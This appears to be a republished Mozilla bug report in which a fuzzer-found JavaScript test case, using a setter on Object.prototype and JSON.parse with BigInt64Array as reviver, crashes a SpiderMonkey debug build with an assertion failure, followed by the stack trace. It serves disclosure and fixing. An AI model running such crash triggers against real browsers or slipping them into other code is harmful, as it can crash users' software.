Skip to content
DoS Disclosed report Advanced

Assertion failure: this->is<T>(), at js/src/vm/JSObject.h:498

Nils Bars Follow

Originally disclosed on Mozilla

  • Fixed in 22 days
  • Paid in 26 days
  • Disclosed after 22 days
Text
Steps to reproduce:

Version: `43ce3de32b3a946bceac74c3badf442af9f245c0`
Args: `js --fuzzing-safe <test-case>`
Test case:
'''
function a() {
    b = this
    b[0] = b
}
Object.prototype.__defineSetter__(1, a)
c = JSON.stringify([
    ,
    2.2250738585072014e308
])
JSON.parse(c, BigInt64Array)
'''


Actual results:

'''
Assertion failure: this->is<T>(), at js/src/vm/JSObject.h:498

#0 0x5642c0586154 in js::ParseRecordObject& JSObject::as<js::ParseRecordObject>() js/src/vm/JSObject.h:498:5
#1 0x5642c058455f in InternalizeJSONProperty(JSContext*, JS::Handle<JSObject*>, JS::Handle<JS::PropertyKey>, JS::Handle<JS::Value>, JS::Handle<js::ParseRecordObject*>, JS::MutableHandle<JS::Value>) js/src/builtin/JSON.cpp:1844:47
#2 0x5642c0552549 in Revive(JSContext*, JS::Handle<JS::Value>, JS::Handle<js::ParseRecordObject*>, JS::MutableHandle<JS::Value>) js/src/builtin/JSON.cpp:1951:10
#3 0x5642c0551cfd in bool js::ParseJSONWithReviver<unsigned char>(JSContext*, mozilla::Range<unsigned char const>, JS::Handle<JS::Value>, JS::MutableHandle<JS::Value>) js/src/builtin/JSON.cpp:1981:12
#4 0x5642c05886e0 in json_parse(JSContext*, unsigned int, JS::Value*) js/src/builtin/JSON.cpp:2026:16
#5 0x5642c046af4e in CallJSNative(JSContext*, bool (*)(JSContext*, unsigned int, JS::Value*), js::CallReason, JS::CallArgs const&) js/src/vm/Interpreter.cpp:532:13
#6 0x5642c046a21c in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct, js::CallReason) js/src/vm/Interpreter.cpp:628:12
#7 0x5642c0483c04 in js::CallFromStack(JSContext*, JS::CallArgs const&, js::CallReason) js/src/vm/Interpreter.cpp:700:10
#8 0x5642c0483c04 in js::Interpret(JSContext*, js::RunState&) js/src/vm/Interpreter.cpp:3338:16
#9 0x5642c04691f1 in js::RunScript(JSContext*, js::RunState&) js/src/vm/Interpreter.cpp:502:13
#10 0x5642c046e431 in js::ExecuteKernel(JSContext*, JS::Handle<JSScript*>, JS::Handle<JSObject*>, js::AbstractFramePtr, JS::MutableHandle<JS::Value>) js/src/vm/Interpreter.cpp:893:13
#11 0x5642c046ec3c in js::Execute(JSContext*, JS::Handle<JSScript*>, JS::Handle<JSObject*>, JS::MutableHandle<JS::Value>) js/src/vm/Interpreter.cpp:926:10
#12 0x5642c06667d9 in ExecuteScript(JSContext*, JS::Handle<JSObject*>, JS::Handle<JSScript*>, JS::MutableHandle<JS::Value>) js/src/vm/CompilationAndEvaluation.cpp:601:10
#13 0x5642c0666a57 in JS_ExecuteScript(JSContext*, JS::Handle<JSScript*>) js/src/vm/CompilationAndEvaluation.cpp:625:10
#14 0x5642c03c6618 in RunFile(JSContext*, char const*, _IO_FILE*, CompileUtf8, bool, bool) js/src/shell/js.cpp:1325:10
#15 0x5642c03c5700 in Process(JSContext*, char const*, bool, FileKind) js/src/shell/js.cpp
#16 0x5642c03821f1 in ProcessArgs(JSContext*, js::cli::OptionParser*) js/src/shell/js.cpp:11821:10
#17 0x5642c03821f1 in Shell(JSContext*, js::cli::OptionParser*) js/src/shell/js.cpp:12089:12
#18 0x5642c0378bbd in main js/src/shell/js.cpp:12515:12
#19 0x7f05b5c233b7 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
#20 0x7f05b5c2347a in __libc_start_main csu/../csu/libc-start.c:360:3
#21 0x5642c033fb78 in _start (fuzzbuild/dist/bin/js+0x1c4eb78) (BuildId: a084412fdeb1bfc37ecd0b649c348fdf)
'''

The original report as published on Mozilla's Bugzilla, by Nils Bars. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

What is known

A high-severity doS bug in JavaScript Engine. Mozilla made it public on 11 January 2025.

About DoS

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

What is DoS?

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.

More by Nils Bars

View all

9 more disclosed reports, best first.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Denial of service

The lesson behind this report.

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.